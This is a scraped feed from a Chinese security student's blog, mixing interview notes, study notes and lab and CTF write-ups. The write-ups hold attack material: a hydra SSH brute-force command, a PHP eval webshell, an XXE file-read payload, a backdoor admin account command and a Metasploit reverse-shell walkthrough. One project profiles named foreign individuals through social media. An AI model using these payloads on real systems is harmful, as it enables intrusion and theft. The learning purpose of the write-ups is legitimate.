6.讲一下SSRF

7.还了解什么漏洞

8.同源策略

9.Linux相关

  • 怎么查看进程PID
  • 密码存放在哪里
  • passwd和shadow有什么联系

10.机器学习相关

因为简历上有写NLP自然语言处理。

绿盟的面试体验很好,问的也都是基础的,和简历相关的。

]]>
+ + + + + <p>时间:2021-4-5</p> +<p>时长:25min</p> +<p>面试过程</p> +<p>1.自我介绍</p> +<p>2.SQL注入经常使用什么函数</p> +<p>3.渗透测试的流程</p> +<p>4.关于云安全</p> +<p>5.关于ISO 27001 风险评估</p + + + + + + + + + +
+ + + 360安全工程师面试(实习) + + http://h4m5t.github.io/2021/03/29/360/ + 2021-03-29T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 时间:2021-3-30

时长:45min

面试类型:电话面试

目前为止遇到的最专业最耐心的面试官。 (也是最难的一次面试)

我是点进22届暑期实习投的,却发现投的是正式职位。。。啊,这。

面试内容如下:

1.自我介绍

2.WAF及其绕过方式

3.IPS/IDS/HIDS

4.云安全

5.怎么绕过安骑士/安全狗等

6.Gopher扩展攻击面

7.Struct2漏洞

8.UDF提权

9.DOM XSS

10.数据库提权

11.怎么打Redis

12.内网渗透

13.容器安全

14.k8s docker逃逸

15.linux、windows命令:过滤文件、查看进程环境变量

16.站库分离怎么拿webshell

总之,面试官很专业,循循善诱,可惜自己实战经验太少,很多问题答不上。

继续努力。加油少年!

]]>
+ + + + + <p> 时间:2021-3-30 </p> +<p> 时长:45min </p> +<p> 面试类型:电话面试 </p> +<p> 目前为止遇到的最专业最耐心的面试官。 (也是最难的一次面试)</p> +<p> 我是点进22届暑期实习投的,却发现投的是正式职位。。。啊,这。 < + + + + + + + + + +
+ + + 渗透测试初学者笔记 + + http://h4m5t.github.io/2021/03/26/%E5%88%9D%E5%AD%A6%E8%80%85/ + 2021-03-26T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

学校图书馆借了一本书《渗透测试完全初学者指南》,讲的很基础,对初学者很友好,略作笔记。

第五章-信息收集

开源情报

  • Netcraft
  • whois
  • DNS侦察
    • nslookup
    • host
    • 区域传输
  • 邮件地址
  • Maltego

端口扫描

  • 手动
  • nmap

第六章-漏洞检测

  • Nmap
  • Nessus
    • 扫描策略
    • 进行扫描
    • 漏洞评级
    • 扫描器的必要性
    • 导出结果
  • Nmap脚本引擎(NSE)(/usr/share/nmap/scripts)
  • metasploit
  • nikto
  • 人工分析

第七章-流量捕获

  • Wireshark
  • ARP缓存攻击
  • DNS缓存攻击
  • SSL攻击
  • SSL Stripping

第八章-漏洞利用

  • MS-08-067
  • WebDAV
  • phpMyAdmin
  • 下载敏感文件
  • 第三方软件漏洞
  • 攻击第三方Web应用
  • 攻击系统服务缺陷
  • 攻击开源NFS漏洞

第九章-密码攻击

  • 密码管理
  • 在线密码攻击
    • 字典
    • Hydra
  • 离线密码攻击
    • 还原Windows SAM哈希值
    • 提取哈希
    • LM\NTLM算法
    • 破解 linux密码
    • 破解配置文件密码
    • 彩虹表
    • 在线密码破解
    • Windows Credential Editor提取内存中的密码明文

第十章-客户端攻击

  • metasploit
  • 浏览器漏洞
  • PDF漏洞
  • Java漏洞
  • Brower_autopwn
  • Winamp

第十一章-社会工程学

  • SET
  • 鱼叉式钓鱼攻击
  • web攻击
  • 群发邮件攻击
  • 组合攻击

第十二章-免杀

  • 杀毒软件原理
  • 规避杀毒软件

第十三章-深度渗透

  • Meterpreter
  • 本地权限提升
  • 本地信息收集
  • 横向移动
  • 跳板
  • 持久化

第十四章-Web应用测试

  • Burp
  • SQL注入
  • Xpath注入
  • 本地文件包含
  • 远程文件包含
  • 命令执行
  • 跨站脚本
  • 跨站请求伪造

第十五章-攻击无线网络

第十六章-缓冲区溢出

第十八章-SEH覆盖

第十九章-其他

  • 模糊测试
  • 移植代码
  • MSF模块编写
  • 攻击缓解

第十九章-智能收集渗透

  • 移动设备攻击向量
  • 智能手机渗透框架
  • 远程攻击
  • 客户端攻击
  • 恶意应用程序
  • 移动平台渗透
]]>
+ + + + + <blockquote> +<p>学校图书馆借了一本书《渗透测试完全初学者指南》,讲的很基础,对初学者很友好,略作笔记。</p> +</blockquote> +<h3 id="第五章-信息收集"><a href="#第五章-信息收集" class="headerlink" title + + + + + + + + + +
+ + + 美团安全工程师面试(实习) + + http://h4m5t.github.io/2021/03/25/meituan/ + 2021-03-25T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 2021-3-26

面试官是一位会弹吉他的安全工程师,比较和蔼,没有问刁钻的问题。

面试时间总共15分钟,我也不知道为啥这么短,可能那边有业务要做吧。

问题如下:

1.自我介绍

2.平时怎么学安全的

3.每天有多长时间学安全

4.SQL注入有哪些

5.给你一个URL,怎么判断注入

6.SQL注入防范

7.平时有看安全方面的文章吗,讲一篇

讲了一下昨晚看的DNSlog注入

8.讲一下CTF

9.讲一下你做过的渗透

最后 你有什么要问的吗?

1.怎么学习安全

2.甲方和乙方的安全有什么不同

面试建议

其实提前看了几篇美团技术部的文章和面试官写的web蜜罐,但我没讲。

可以提前查一下面试官的研究方向,如果正好是你擅长的,那就好了。如果是你不擅长的,就尽量把话题引导其他方向,让面试官跟着你的项目走。

]]>
+ + + + + <p>2021-3-26 </p> +<p> 面试官是一位会弹吉他的安全工程师,比较和蔼,没有问刁钻的问题。 </p> +<p> 面试时间总共15分钟,我也不知道为啥这么短,可能那边有业务要做吧。 </p> +<p> <strong>问题如下:</strong> </p> +<p> + + + + + + + + + +
+ + + 网络侦察实验 + + http://h4m5t.github.io/2021/03/24/%E4%BE%A6%E5%AF%9F/ + 2021-03-24T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 网络侦察实验

实验背景

随着时代的发展和网络的普及,在世界各国、各层次的计算机网络中,储存着大量公开资料和机密资料,由于网络漏洞的存在,为“黑客”入侵计算机网络系统获取机密资料提供了很多便利,这些资料引起了各国军事情报部门的重视,都大力开展利用计算机网络系统来获取情报资料的研究和尝试,这便是网络侦察。

网络侦查是指黑客为了更加有效地实施攻击而在攻击前或攻击过程中对目标主机的所有探测活动。网络侦查有时也被称为“踩点”。通常“踩点”包括以下内容:目标主机的域名、IP地址、操作系统类型、开放了哪些端口,以及这些端口后面运行着什么样的应用程序,这些应用程序有没有漏洞等。那么如何收集信息呢?可以利用与技术无关的“社会工程学”、搜索引擎以及扫描工具。

本实验旨在通过在企业复杂网络场景下的网络侦查应用实战,让学生深刻理解网络侦查的概念、特性和原理,掌握网络侦查相关技术,具备对网络进行侦查、渗透、敏感信息获取以及防网络侦查的技术能力,这对于学生的信息安全技术能力提升、国家网络空间安全战略实施,都有非常重要的意义。

实验任务

任务一 使用nmap、ettercap进行网络侦查和密码嗅探;
任务二 使用crunch、hydra暴力破解ssh服务登陆密码;
任务三 使用ssh登录目标机,获得敏感信息;
任务四 获取目标网站的webshell权限,控制目标机,获得敏感信息。

实验目的

  • 了解网络侦查、信息收集、漏洞挖掘和利用的基本概念以及常用的信息收集和安全漏洞扫描工具,认知常见的网络侦查手段和企业网络安全漏洞。
  • 掌握nmap工具的功能和操作方法,并能够分析检侧结果,能够运用这些工具解决目标网络信息探测、漏洞挖掘等常见的安全问题。
  • 了解ettercap嗅探工具的基本功能,掌握常见的嗅探相关服务和应用的用户名和密码的方法。
  • 了解crunch的基本功能,掌握利用crunch生成密码字典文件的方法。
  • 了解hydra密码爆破工具的基本功能和使用方法,掌握常见的爆破服务和应用的用户名和密码的方法。
  • 熟悉网站wenshell的概念,理解上传webshell、获取webshell权限的意义和方法,掌握获取webshell权限基础上控制目标机的方法。
  • 通过nmap、ettercap、crunch和hydra等工具的学习和使用,能够融会贯通,掌握相关服务如ftp、web等漏洞挖掘、渗透、攻击和利用的原理和方法,掌握自主学习和实践主流企业网络扫描工具的功能、操作技巧、检测结果分析、网络侦查、漏洞挖掘的常用方法,具备企业复杂网络信息安全管理的职业能力和终身学习能力。

实验工具

  • Nmap(集成于kali linux)
  • ettercap(集成于kali linux)
  • crunch(集成于kali linux)
  • hydra(集成于kali linux)
  • Firefox(54.2.0)
  • Rdesktop

实验环境

操作系统IP地址服务器角色登录账户密码
kali Linux192.168.1.2操作机用户名:root;密码:Simplexue123
CentOS7192.168.1.3目标机用户名:root;密码:Simplexue123
Windows2012192.168.1.4目标机用户名:administrator;密码:Simplexue123

实验步骤

任务一

1.扫描存活的主机

image-20210325150711857

2.使用嗅探工具对目标机的vsftpd服务进行嗅探。

通过设置监听网卡、主机、开启arp欺骗、启动嗅探等步骤来嗅探网络内的数据包,获取ftp用户名和密码。

image-20210325152226044

image-20210325153309224

任务二

利用kali集成的crunch工具,生成密码字典文件。
使用hydra工具暴力破解ssh服务的登陆密码,以便完全控制目标主机系统。

使用命令crunch 9 9 password.txt -p hacker+123456生成密码

生成9位的数字字母组合,输出到password.txt文件

image-20210325154745860

使用生成的密码字典进行爆破

1
hydra -L hacker.txt -P password.txt -t 1 -vV -e ns 192.168.1.3 ssh

破解得到密码:hacker123

任务三

使用ssh登录目标机并获取key值,获得敏感信息

直接利用 爆破得到的密码进行登陆

ssh hacker@192.168.1.3

image-20210325155633360

image-20210325155802866

ls -a命令列出文件:1.key

cat 1.key

ettercap

任务四

获取目标网站的webshell权限,控制目标机,获得敏感信息

制作一句话木马和上传表单

1
<?php @eval($_POST['attack']) ?>

在浏览器另外一个页面快速打开http://192.168.1.4/index.php?module=eventregistration&action=eventsCalendar,获得时间戳,分析可知上传的文件名以时间戳+下划线+原文件名称来命名。

编写脚本并运行,获得上传的文件的URL路径。

image-20210325183510613

写入命令

http://192.168.1.4/ tmp/1516041535_exp.php?cmd=system('' )

添加新用户net user hacker Beijing123 /add

把hacker用户添加到管理员组,并远程连接目标机,远程连接的时候注意远程连接的端口。

以hacker用户(用户名:hacker、密码:Beijing123)身份登录目标机系统。

设置目标机C:\2.key文件的可读权限,并查看该文件的具体内容。

]]>
+ + + + + <h1 id="网络侦察实验"><a href="#网络侦察实验" class="headerlink" title="网络侦察实验"></a>网络侦察实验</h1><h3 id="实验背景"><a href="#实验背景" class="headerlink" title="实 + + + + + + + + + +
+ + + 阿里安全工程师面试(实习) + + http://h4m5t.github.io/2021/03/19/alibaba/ + 2021-03-19T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 3.10

时常:30min

1.自我介绍

2.常用的密码算法,用法是什么

3.SSL协议

4.你是怎么学习安全知识的

5.讲一下你对未来的规划

6.企业常用的安全防御技术有哪些

7.项目上的问题,你做了什么贡献。问细节

面试官应该很年轻,跟我讲了一些他的经历,没有问刁钻的问题,很友好。

3.16 收到感谢信

深知自己不足,道路漫长,继续加油!

]]>
+ + + + + <p>3.10 </p> +<p> 时常:30min </p> +<p> 1.自我介绍 </p> +<p> 2.常用的密码算法,用法是什么 </p> +<p> 3.SSL协议 </p> +<p> 4.你是怎么学习安全知识的 </p> +<p> 5.讲一下你对未来的规划 </p> + + + + + + + + + + +
+ + + TCP/IP协议脆弱性分析 + + http://h4m5t.github.io/2021/03/18/TCPIP/ + 2021-03-18T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + TCP/IP协议簇

TCP/IP提供了点对点链接的机制,将资料应该如何封装、寻址、传输、路由以及在目的地如何接收,都加以标准化。它将软件通信过程抽象化为四个抽象层,采取协议堆栈的方式,分别实现出不同通信协议。协议族下的各种协议,依其功能不同,分别归属到这四个层次结构之中,常视为是简化的七层OSI模型。

TCP(传输控制协议)和IP(网际协议)

TCP/IP 意味着 TCP 和 IP 在一起协同工作。

TCP 负责应用软件(比如您的浏览器)和网络软件之间的通信。

IP 负责计算机之间的通信。

TCP 负责将数据分割并装入 IP 包,然后在它们到达的时候重新组合它们。

IP 负责将包发送至接受者。

安全隐患

1.链路层攻击

在TCP/IP网络中,链路层这一层次的复杂程度是最高的。其中最常见的攻击方式通常是网络嗅探组成的TCP/IP协议的以太网。当前,我国应用较为广泛的局域网是以太网,且其共享信道利用率非常高。以太网卡有两种主要的工作方式,一种是一般工作方式,另一种是较特殊的混杂方式。这一情况下,很可能由于被攻击的原因而造成信息丢失情况,且攻击者可以通过数据分析来获取账户、密码等多方面的关键数据信息。

2.ARP欺骗

ARP(地址解析协议)是根据IP地址获取物理地址的一个TCP/IP协议。通常情况下,在IP数据包发送过程中会存在一个子网或者多个子网主机利用网络级别第一层,而ARP则充当源主机第一个查询工具,在未找到IP地址相对应的物理地址时,将主机和IP地址相关的物理地址信息发送给主机。与此同时,源主机将包括自身IP地址和ARP检测的应答发送给目的主机。如果ARP识别链接错误,这样的话ARP直接应用可疑信息,那么可疑信息就会很容易进入目标主机当中。ARP协议没有状态,不管有没有收到请求,主机会将任何受到的ARP相应自动缓存。如果信息中带有病毒,采用ARP欺骗就会导致网络信息安全泄露。因此,在ARP识别环节,应加大保护,建立更多的识别关卡,不能只简单通过IP名进行识别,还需充分参考IP相关性质等。

3.ICMP欺骗

ICMP协议也是因特网控制报文协议,主要用在主机与路由器之间进行控制信息传递。通过这一协议可对网络是否通畅、主机是否可达、路由是否可用等信息进行控制。一旦出现差错,数据包会利用主机进行即时发送,并自动反回描述错误的信息。该协议在网络安全当中是十分重要的协议。但由于自身特点的原因,其极易受到入侵,通常而言,目标主机在长期发送大量ICMP数据包的情况下,会造成目标主机占用大量CPU资源,最终造成系统瘫痪。

4.IP欺骗

在传输层还存在网络安全问题。如在网络安全领域中,IP欺骗就是隐藏自己的有效手段,主要是通过将自身IP地址进行伪造,并向目标主机发送恶意的请求,攻击主机,而主机却因为IP地址被隐藏而无法准确确认攻击源。或者通过获取目标主机信任而趁机窃取相关的机密信息。在DOS攻击中往往会使用IP欺骗,这是因为数据包地址来源较广泛,无法进行有效过滤,从而使IP基本防御的有效性大幅度下降。此外,在ICMP传输通道,由于ICMP是IP层的组成部分之一,在IP软件中任何端口向ICMP发送一个PING文件,借此用作申请,申请文件传输是否被允许,而ICMP会做出应答,这一命令可检测消息的合法性。所有申请传输的数据基本上传输层都会同意,造成这一情况的原因主要是PING软件编程无法智能识别出恶意信息,一般网络安全防护系统与防火墙会自动默认PING存在,从而忽视其可能带来的安全风险。

5.DNS欺骗

对于因特网而言,IP地址与域名均是一一对应的,这两者之间的转换工作,被称为域名解析。而DNS就是域名解析的服务器。DNS欺骗指的是攻击方冒充域名服务器的行为,使用DNS欺骗能将错误DNS信息提供给目标主机。所以说,通过DNS欺骗可误导用户进入非法服务器,让用户相信诈骗IP。另外,PTP网络上接口接受到不属于主机的数据,这也是应用层存在的安全问题,一些木马病毒可趁机入侵,造成数据泄露,从而引发网络安全问题。

脆弱性分析

1.不能提供可靠的身份验证

2.不能有效防止信息泄露

3.没有提供可靠的信息完整性验证

4.无法控制资源占有和分配

攻击方法

  • IP欺骗
  • TCP会话劫持
  • SYN Flooding
  • 死亡之ping
  • RST和FIN攻击

结语

真正防御针对网络协议脆弱性的攻击,需要从管理、技术、政策等多方面来配合。希望随着网络安全技术的提高和IPsec的逐步完善,解决现存的协议脆弱性问题。

参考

  • 百度/维基百科
  • 菜鸟TCP/IP教程
  • 典型的TCP/IP协议脆弱性及常见攻击方法分析(空军工程大学学报)
]]>
+ + + + + <h3 id="TCP-x2F-IP协议簇"><a href="#TCP-x2F-IP协议簇" class="headerlink" title="TCP&#x2F;IP协议簇"></a>TCP&#x2F;IP协议簇</h3><p>TCP&#x2F;IP提供了点对点链接的机制,将 + + + + + + + + + +
+ + + leetcode15 - 3sum + + http://h4m5t.github.io/2021/03/17/%E7%AE%97%E6%B3%95/ + 2021-03-17T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

3sum跟之前的2sum有点像,但难度更大一些

leetcode.15

题目描述 :

1
2
3
Given an array nums of n integers, are there elements a, b, c in nums such that a + b + c = 0? Find all unique triplets in the array which gives the sum of zero.

Notice that the solution set must not contain duplicate triplets.

范围0 <= nums.length <= 3000

方法1:

枚举所有方法,时间复杂度n^3,会超时

方法2:

排序

哈希法(2等1)

循环i,j 此时 t=0-nums[i]-nums[j]

根据哈希,判断t是否在数组中出现过

注意:需要去重

方法3:

排序

双指针(1等2)

t=0-nums[i]-nums[j]

思路:

固定i指针,j,k分别在两端,交替向中间靠拢(比较t)

注意:去重

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class Solution:
def threeSum(self, nums: List[int]) -> List[List[int]]:
#双指针移动
#i为定指针
#j,k为移动指针
#首先要排序
nums.sort()
lens=len(nums)

res=[]
for i in range(lens):

#要求j,k位置的和
#对第一个位置要特殊判断
if i and nums[i]==nums[i-1]:
continue
j=i+1
k=lens-1
tmp=0-nums[i]
while(j<k):
arr=[]
if nums[j]+nums[k]>tmp:
k=k-1
elif nums[j]+nums[k]<tmp:
j=j+1
else:
#添加数组元素的另一种方法:
#res.append([nums[i],nums[L],nums[R]])
arr.append(nums[i])
arr.append(nums[j])
arr.append(nums[k])

res.append(arr)
#此处直接去重
while((j<k) and nums[j]==nums[j+1]):
j=j+1
while((j<k) and nums[k]==nums[k-1]):
k=k-1
k=k-1
j=j+1
return res

小结

此题题目简单,但是需要考虑的东西也比较细.

  • 去重
  • hash及set的使用
  • 双指针
  • 剪枝
  • 对首位的特殊判断
]]>
+ + + + + <blockquote> +<p>3sum跟之前的2sum有点像,但难度更大一些</p> +</blockquote> +<p><a href="https://leetcode-cn.com/problems/3sum/">leetcode.15</a></p> +<h3 id="题目 + + + + + + + + + + + +
+ + + 渗透Metasploitable2 + + http://h4m5t.github.io/2021/03/16/kali/ + 2021-03-16T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

Metasploitable2是一款很好的渗透测试靶机

实验环境

攻击机:kali IP:192.168.211.140

目标主机:Metasploitable2 IP:192.168.211.132

信息收集

1.使用命令msfconsole进入msf控制台

image-20210317192744736

2.使用Nmap扫描,查看目标系统开放端口和服务.

image-20210317193125963

3.根据扫描结果选择合适的exploit和payload

此次使用Samba3.0存在的漏洞进行攻击

**提示:**在rank栏选择great/excellent的模块,会有很好效果,成功率更高.

image-20210317193350796

4.使用攻击模块

选择exploit/multi/samba/usermap_script

提示:使用info+模块 查看说明

image-20210317194342573

show payloads,查看可用攻击载荷.

5.设置攻击载荷

set PAYLOAD cmd/unix/reverse

设置目标机IP及端口

设置攻击机IP

注意:此处的端口号是漏洞服务对应的端口号,在Nmap那一步可以看到.

show options可以查看payload的配置,Required为不可缺参数

image-20210317195047700

6.使用expolit命令进行攻击

image-20210317195453218

已成功获取目标主机shell !

可以使用命令 uname -a 进行验证.

后续

  • 进一步获取目标系统信息
  • 关闭目标系统杀毒软件
  • 利用已攻陷的主机做为跳板/肉鸡
  • 后渗透(权限提升、横向提权、纵向提权)
  • 留下后门
  • 痕迹清除
]]>
+ + + + + <blockquote> +<p>Metasploitable2是一款很好的渗透测试靶机</p> +</blockquote> +<h3 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h3><p> + + + + + + + + + + + +
+ + + 舆情分析-人物画像 + + http://h4m5t.github.io/2021/03/15/NLP/ + 2021-03-15T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

最近在做舆情分析的课题,稍微记录一下.

所需技术

  • 爬虫
  • 话题分析
  • 人物画像
  • 命名实体识别
  • 意见抽取
  • 情感分类
  • 文本分类

任务

课题:境外涉华人物画像

  • 数量:不少于100

  • 国家/地区:美日澳印、欧洲、东南亚、俄罗斯、港台

  • 领域:智库、军情、政治、法律、高科技(人工智能、芯片、通信、电子、材料、太空、航天等)、演艺、人文、知名大学毕业生

  • 实时跟踪社交媒体动态(Twitter、Facebook、Line、Linkedin)

  • 社交情况及社交指数

  • 人格分析:大五人格

  • 涉华言论(文本、音视频)、热点话题及其情感极性

  • 对华好感指数

预期成果

实时跟踪twitter, facebook等社交媒体动态,生成境外涉华人物画像。人物涉及多个国家地区,并分析相应人物的社交指数,大五人格,以及对华好感指数等,并对其涉华言论的情感极性进行深入分析。

通过可视化,建立图形化界面等技术,从公共社交媒体上利用爬虫爬取公开的涉华人物的相关信息动态,完成预期的目标任务,做成一个能够从公开媒体上爬取并分析信息情报的平台雏形,具有相当的实用价值。

初步模型

未命名文件

实现过程

数据爬取及处理

社交指数分析

image-20210318100300846

image-20210318100319880

涉华言论情感分析

人格分析

大五人格

1
2
3
4
5
6
7
8
9
10
开放性(openness)
具有想象、审美、情感丰富、求异、创造、智能等特质。
责任心(conscientiousness):
显示胜任、公正、条理、尽职、成就、自律、谨慎、克制等特点。
外倾性(extraversion):
表现出热情、社交、果断、活跃、冒险、乐观等特质。
宜人性(agreeableness):
具有信任、利他、直率、依从、谦虚、移情等特质。
神经质性(neuroticism):
难以平衡焦虑、敌对、压抑、自我意识、冲动、脆弱等情绪的特质,即不具有保持情绪稳定的能力。

对华好感指数

在不同领域探索对华好感指数

image-20210318100623093

热点话题抽取

image-20210318100532182

PS:此项目小组合作完成 , 源代码暂不公开

]]>
+ + + + + <blockquote> +<p>最近在做舆情分析的课题,稍微记录一下.</p> +</blockquote> +<h3 id="所需技术"><a href="#所需技术" class="headerlink" title="所需技术"></a>所需技术</h3><ul> +<li>爬虫 + + + + + + + +
+ + + V&N-CTF + + http://h4m5t.github.io/2021/03/13/VN/ + 2021-03-13T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + web游戏题

提示:通关就有flag

尝试修改start_level,但是无法直接开始第10关

尝试修改死亡后reset的next_level,然后去送死,按下Esc,就是第二关。

却发现boss很难打,于是又修改人物参数:血量、飞镖数量等。

image-20210314235011044

1
2
3
4
5
6
7
8
9
10
11
12
function Reset()
{
// load local storage
playerData = new PlayerData();
if (localStorage.kbap_coins)
playerData.coins = parseInt(localStorage.kbap_coins, 10);
if (localStorage.kbap_warp)
warpLevel = parseInt(localStorage.kbap_warp, 10);
if (localStorage.kbap_bestTime)
speedRunBestTime = parseInt(localStorage.kbap_bestTime, 10);
nextLevel = 10;
}

image-20210314235140421

打败BOSS,获得flag。

这游戏挺好玩!

]]>
+ + + + + <h3 id="web游戏题"><a href="#web游戏题" class="headerlink" title="web游戏题"></a>web游戏题</h3><p>提示:通关就有flag</p> +<p>尝试修改start_level,但是无法直接开始第10关</p> +<p + + + + + + + +
+ + + 云蜜罐 + + http://h4m5t.github.io/2021/03/12/%E8%9C%9C%E7%BD%90/ + 2021-03-12T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

在公众号上看到一篇云蜜罐的文章,记录一下

参考链接:知道创宇

优秀蜜罐有哪些

“云蜜罐”是什么?

无需软硬件,无需云主机,不需占用任何客户资源,云端实现快捷部署,并在域名接入功能上取得了突破

与传统蜜罐有何不同

与传统蜜罐相比,“云蜜罐”除去部署方式上的不同,还有一大优势在于云端部署不需占用任何客户端资源,不会对现有的业务造成任何影响。同时,云端“一键部署”快捷安全,尤其适用于网站防御方面。在即将到来的网络攻防实战演练中,防守方一旦发现预先进行了网络防护的网站有被攻击迹象,比起被动挨打,还可以选择通过快捷部署“云蜜罐”作为一种紧急应对方式,感知攻击威胁、记录攻击痕迹、争取溯源反制

用法

为域名暴破攻击提供“定制陷阱”的服务

“云蜜罐”智能子域名推荐系统会根据录入的根域名,自动生成高敏感子域名,在攻击者使用子域名暴破攻击的必经之路上设置陷阱,提高攻击捕获可能性,在一定程度上减轻真实资产的流量压力以及防止黑客进一步入侵。

]]>
+ + + + + <blockquote> +<p>在公众号上看到一篇云蜜罐的文章,记录一下</p> +</blockquote> +<p>参考链接:<a href="https://mp.weixin.qq.com/s?__biz=MjM5NzA3Nzg2MA==&mid=2649850797&idx + + + + + + + +
+ + + 关于WAF + + http://h4m5t.github.io/2021/03/11/WAF/ + 2021-03-11T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 定义

Web应用防火墙(Web Applocation Firewall)

通过一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品

分类

  • 软件型
  • 硬件型
  • 云WAF(反向代理 ,类似于带防护功能的CDN)
  • 网站系统内置的WAF

WAF 的判断

1.sqlmap

1
sqlmap.py -u "https://baidu.com --identify-waf --batch"

2.手工判断

1
?test=1 union select 1,2,3%23

选取不存在的参数,如果被拦截:

  • 页面无法访问
  • 响应码不同
  • 返回与正常请求网页不同时的结果

WAF by pass

参考我的另一篇博客

WAF by pass 技巧

另外加几个技巧

  • 多参数请求拆分
  • HTTP参数污染(同一参数出现多次,不同的中间件解析为不同的结果)
  • 使用生僻函数
]]>
+ + + + + <h3 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h3><p>Web应用防火墙(Web Applocation Firewall)</p> +<p>通过一系列针对HTTP&#x2F;HTTPS的安全策略来 + + + + + + + +
+ + + XXE漏洞 + + http://h4m5t.github.io/2021/03/11/XXE/ + 2021-03-11T16:00:00.000Z + 2024-09-24T05:05:42.000Z + + 定义

外部实体注入(XML External Entity XML)。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

XXE的利用

  • 读取本地敏感文件
  • 内网主机探测
  • 主机端口探测
  • 盲注
  • 文件上传
  • 钓鱼

文章参考

先知社区有一篇关于XXE的文章:

XXE漏洞及利用

img
1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>

防护

  • 禁止引用外部实体
  • 过滤用户提交的XML数据
]]>
+ + + + + <h3 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h3><p>外部实体注入(XML External Entity XML)。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行 + + + + + + + +
+ + + 字节跳动安全风控训练营总结 + + http://h4m5t.github.io/2021/03/10/%E5%AD%97%E8%8A%82/ + 2021-03-10T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

寒假期间参加了字节安全训练营,算是有很多收获吧。学到了一些安全知识,认识了一些小伙伴,都是名牌大学的本科、硕士生。给人的印象是字节的安全工程师比较务实,很有水平。上一节课比在学校上一学期更有用。更加坚定了我去企业的想法。也感觉学术界的安全研究和企业脱节比较严重,在这个工业界引领发展,反哺学术界的时代,或许在企业能学到更多东西吧。

先放上证书纪念一下

image-20210310185934547

课程内容

  • web安全概述
  • 渗透测试进阶
  • WAF建设
  • 安全系统架构设计

小组任务

官方提供一台云主机,以Dockers镜像的方式预置一个Web漏洞靶场。

  • 对靶场进行渗透测试,发现存在的安全问题。
  • 研发/搭建Web应用防火墙(WAF),对已存在的安全问题进行有效防护。
  • 搭建WAF管理后台,实现对WAF规则配置和日志查询。

WAF研发

  • 解码能力(常用编码、混合编码、多重编码)
  • 字符串匹配(单模式、多模式)
  • 正则表达式引擎(hyperscan)
  • 规则提取和优化(根据漏洞、payload、平衡漏报与误报)
  • 开源规则集(OWASP® ModSecurity Core Rule Set (CRS))
  • 接口频率限制(限频算法、资源限频、用户限制频)
  • 业务基线自学习
  • BOT检测(人机识别、行为检测)

寻找漏洞

  • 用户登陆接口有SQL注入
  • 本地文件包含(路径爆破)
  • 水平垂直越权(修改cookie中student_id,可以获取其他人信息)
  • 服务端请求伪造(SSRF)(头像链接)
  • 敏感信息泄露(爆破目录,有身份证号)
  • 暴力破解
  • 其他
    • Cookie存活时间太长
    • httpOnly属性没有开启
    • Secure没有开启
    • 不安全的存储方案(md5存密码,容易被破解)
    • HTTP头部属性缺失(CSP)
]]>
+ + + + + <blockquote> +<p>寒假期间参加了字节安全训练营,算是有很多收获吧。学到了一些安全知识,认识了一些小伙伴,都是名牌大学的本科、硕士生。给人的印象是字节的安全工程师比较务实,很有水平。上一节课比在学校上一学期更有用。更加坚定了我去企业的想法。也感觉学术界的安全研究和企业 + + + + + + + +
+ + + Python命令行解析Argparse + + http://h4m5t.github.io/2021/03/09/%E5%8F%82%E6%95%B0/ + 2021-03-09T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +
1
2
3
import argparse
parser = argparse.ArgumentParser()
parser.parse_args()

argparse模块还会自动生成帮助和使用消息,并在用户为程序提供无效参数时发出错误。

default:没有设置值情况下的默认参数

required: 表示这个参数是否一定需要设置

type:参数类型

默认的参数类型是str类型,如果你的程序需要一个整数或者布尔型参数,你需要设置type=inttype=bool

choices:参数值只能从几个选项里面选择

help:指定参数的说明信息

dest:设置参数在代码中的变量名

argparse默认的变量名是---后面的字符串,但是你也可以通过dest=xxx来设置参数的变量名,然后在代码中用args.xxx来获取参数的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding: utf-8 -*-

import argparse

parser = argparse.ArgumentParser()

parser.add_argument("--square", help="display a square of a given number", type=int)
parser.add_argument("--cubic", help="display a cubic of a given number", type=int)

args = parser.parse_args()

if args.square:
print args.square**2

if args.cubic:
print args.cubic**3
]]>
+ + + + + <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span clas + + + + + + + +
+ + + CDN的绕过 + + http://h4m5t.github.io/2021/03/08/CDN/ + 2021-03-08T16:00:00.000Z + 2024-09-24T05:05:42.000Z + +

CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。

第一步,判断目标网站是否使用CDN服务.

img

  • 通过ping,查看域名解析情况
  • 全国多地ping服务,对比每个地区的结果是否一致,如果都是一样的,说明不存在CDN.

第二步,绕过CDN寻找真实IP

image-20210221100509778

  • 扫描网站测试文件
  • 子域名所在IP段
  • 国外访问
  • 查询域名历史解析记录
